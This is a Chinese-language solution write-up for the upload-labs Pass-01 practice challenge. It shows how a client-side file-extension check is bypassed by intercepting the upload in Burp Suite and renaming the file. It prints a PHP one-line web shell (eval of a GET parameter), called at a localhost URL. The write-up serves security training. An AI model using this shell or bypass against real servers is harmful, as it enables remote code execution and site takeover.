Skip to content
Branch: master
Find file History
Fetching latest commit…
Cannot retrieve the latest commit at this time.
Permalink
Type Name Latest commit message Commit time
..
Failed to load latest commit information.
imgs
README.md
payload.png

README.md

[upload-labs] [Pass-01] [解题报告]


题目

function checkFile() {
    var file = document.getElementsByName('upload_file')[0].value;
    if (file == null || file == "") {
        alert("请选择要上传的文件!");
        return false;
    }
    //定义允许上传的文件类型
    var allow_ext = ".jpg|.png|.gif";
    //提取上传文件的类型
    var ext_name = file.substring(file.lastIndexOf("."));
    //判断上传文件类型是否允许上传
    if (allow_ext.indexOf(ext_name + "|") == -1) {
        var errMsg = "该文件不允许上传,请上传" + allow_ext + "类型的文件,当前文件类型为:" + ext_name;
        alert(errMsg);
        return false;
    }
}

解题

从源码很明显可以知道,代码只对上传的 文件名后缀 做检验,因此可以 从客户端绕过

伪造一个图片文件,文件名为 payload.png ,内容为 PHP 的一句话木马 :

<?php eval(@$_GET['exp']); ?>

上传此文件后,因为文件后缀为 .png ,所以即使打开图片也无法解析 PHP 代码。

要绕过其实很简单,只需要用 BurpSuite 拦截上传文件的 POST 请求,然后修改 POST 内容中的文件名,把 payload.png 修改成 payload.php (注意 Content-Type 要确保为图片类型)。

上传成功后,访问改名后的 payload.php 文件,并利用一句话木马执行 phpinfo(); 命令:

http://127.0.0.1/upload/payload.php?exp=phpinfo();

解析 phpinfo(); 命令成功,完成挑战。


版权声明

 Copyright (C) 2016-2019 By EXP License: GPL v3


You can’t perform that action at this time.